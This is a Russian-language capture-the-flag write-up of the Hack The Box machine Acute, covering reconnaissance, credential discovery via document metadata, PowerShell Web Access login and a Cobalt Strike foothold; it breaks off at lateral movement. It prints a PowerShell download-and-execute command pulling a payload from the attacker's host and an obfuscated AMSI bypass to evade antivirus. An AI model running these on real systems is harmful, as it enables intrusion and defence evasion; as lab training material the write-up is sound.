В этом рай­тапе я покажу ата­ку на Active Directorу с помощью популяр­ного инс­тру­мен­та Cobalt Strike. Мы про­ведем базовый сбор информа­ции, что­бы получить пер­воначаль­ный дос­туп, затем пос­ледим за дей­стви­ями поль­зовате­ля, воору­жив­шись кей­лог­гером и скрин­шотером, а так­же рас­смот­рим один из методов прод­вижения с исполь­зовани­ем PowerShell.

Про­ходить мы будем машину Acute с пло­щад­ки Hack The Box. Уро­вень слож­ности — hard.

 

Разведка

 

Сканирование портов

До­бав­ляем IP-адрес машины в /etc/hosts:

10.10.11.145 acute.htb

И запус­каем ска­ниро­вание пор­тов.

Результат работы скрипта
Ре­зуль­тат работы скрип­та

По резуль­татам ска­ниро­вания име­ем все­го один откры­тый порт — 443, стан­дар­тный для веб‑сер­вера. Пос­коль­ку на нем исполь­зует­ся SSL, мы можем пос­мотреть сер­тификат и в поле commonName находим домен, для которо­го он дей­стви­телен. Nmap авто­мати­чес­ки отоб­ража­ет это поле в резуль­тате ска­ниро­вания. Новый домен тоже добавим в /etc/hosts.

10.10.11.145 acute.htb atsserver.acute.local
Главная страница atsserver.acute.local
Глав­ная стра­ница atsserver.acute.local

Идем осматри­вать сайт. Ссы­лок на нем малова­то, но одна из них ведет на документ.

Страница с документом
Стра­ница с докумен­том

Ска­чаем док для ана­лиза: в нем может быть инте­рес­ная информа­ция.

 

Точка входа

В докумен­те находим какой‑то дефол­тный пароль. Такие вещи всег­да сто­ит отме­чать — при про­хож­дении лабора­торок они по закону жан­ра обя­заны еще выс­тре­лить.

Содержимое скачанного документа
Со­дер­жимое ска­чан­ного докумен­та

Так­же находим упо­мина­ние работы, а чуть даль­ше и ссыл­ку на PSWA (PowerShell Web Access). Эта фун­кция поз­воля­ет уда­лен­но управлять сер­вером с помощью PowerShell через обыч­ный бра­узер. Домен­ное имя из ссыл­ки добавим в файл /etc/hosts.

10.10.11.145 acute.htb atsserver.acute.local

Пе­рехо­дим по най­ден­ной ссыл­ке, и нам откры­вает­ся панель авто­риза­ции PSWA.

Панель авторизации PSWA
Па­нель авто­риза­ции PSWA

У нас есть пароль, оста­лось най­ти име­на поль­зовате­ля и машины.

 

Точка опоры

Фай­лы вро­де офис­ных докумен­тов очень полез­ны при раз­ведке. Их метадан­ные могут содер­жать, к при­меру, имя поль­зовате­ля и наз­вание машины. Поэто­му пер­вым делом получим метадан­ные ска­чан­ного фай­ла с помощью Exiftool.

Метаданные документа
Ме­тадан­ные докумен­та

Из поля Creator получа­ем имя поль­зовате­ля, а поле Description рас­кры­вает имя машины. Но с эти­ми учет­ными дан­ными под­клю­чить­ся не получи­лось, поэто­му я пошел искать на сай­те дру­гие под­сказ­ки. И нашел... име­на поль­зовате­лей.

Найденные пользователи
Най­ден­ные поль­зовате­ли

Фор­миру­ем спи­сок по уже име­юще­муся у нас фор­мату.

Список аккаунтов
Спи­сок акка­унтов

И с най­ден­ным паролем на обоз­начен­ной машине мы получа­ем коман­дную веб‑обо­лоч­ку PoweShell от име­ни поль­зовате­ля edavies.

Командная веб-оболочка
Ко­ман­дная веб‑обо­лоч­ка

Для даль­нейшей экс­плу­ата­ции и прод­вижения я решил исполь­зовать популяр­ный фрей­мворк Cobalt Strike. Пер­вым делом соз­дадим лис­тенер.

Параметры листенера
Па­рамет­ры лис­тенера

Для удоб­ной дос­тавки наг­рузки будем исполь­зовать скрипт на PowerShell, рас­положен­ный на локаль­ном веб‑сер­вере.

Настройки Scripted Web Delivery
Нас­трой­ки Scripted Web Delivery

Пос­ле нас­трой­ки нам даже дадут коман­ду, которую необ­ходимо ввес­ти на целевой сис­теме.

powershell.exe-nop-whidden-c"IEX ((new-object net.webclient).downloadstring(http://10.10.14.26:80/info))"
Ошибка запуска нагрузки
Ошиб­ка запус­ка наг­рузки

Но нас оста­нав­лива­ет анти­вирус, который триг­гернул из‑за AMSI.

Но мы можем запат­чить AMSI, что­бы исполь­зуемый нами код не ухо­дил на про­вер­ку. Метод зак­люча­ется в изме­нении адре­сов заголов­ков amsiContext (кон­текст, в котором про­исхо­дит ска­ниро­вание): зануля­ем ука­затель.

[Ref].Assembly.GetType(System.Management.Automation.+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String(QQBtAHMAaQBVAHQAaQBsAHMA)))).GetField($([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String(YQBtAHMAaQBJAG4AaQB0AEYAYQBpAGwAZQBkAA==))),NonPublic,Static).SetValue($null,$true)
Патч AMSI
Патч AMSI

И пос­ле пов­торно­го запус­ка наг­рузки получа­ем активную сес­сию в нашем фрей­мвор­ке.

Граф сессий в CS
Граф сес­сий в CS
 

Продвижение

По­лучив кон­троль над хос­том, я сра­зу прос­мотрел запущен­ные про­цес­сы и сес­сии активных поль­зовате­лей.

Process Explorer в Cobalt Strike
Process Explorer в Cobalt Strike

Ви­дим запущен­ные про­цес­сы powershell.exe в пер­вой сес­сии. Это зна­чит, что поль­зователь авто­ризо­ван и выпол­няет опре­делен­ные задачи. Что­бы получить дос­туп к окру­жению сес­сии, нам нужен кон­троль над ней. Дру­гими сло­вами, наш агент дол­жен работать в той же сес­сии.


Скачать:









Важно:


Все статьи и материал на сайте размещаются из свободных источников. Приносим свои глубочайшие извинения, если Ваша статья или материал была опубликована без Вашего на то согласия.
Напишите нам, и мы в срочном порядке примем меры.





Заходи на mc.foxygame.ru:25565

Советуем прочитать